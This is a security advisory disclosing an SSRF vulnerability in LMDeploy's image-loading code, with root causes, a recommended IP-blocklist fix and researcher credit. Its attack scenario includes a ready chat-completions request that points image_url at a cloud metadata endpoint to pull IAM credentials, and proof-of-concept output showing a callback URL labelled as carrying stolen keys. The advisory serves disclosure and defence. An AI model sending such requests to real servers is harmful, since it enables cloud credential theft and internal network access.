PYSEC-2026-2607

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model

2. Attacker sends request to /v1/chat/completions with malicious image_url:

   POST /v1/chat/completions
   {
     "model": "internlm-xcomposer2",
     "messages": [{
       "role": "user", 
       "content": [
         {"type": "text", "text": "Describe this image"},
         {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
       ]
     }]
   }
   

3. Server fetches URL without validation

4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security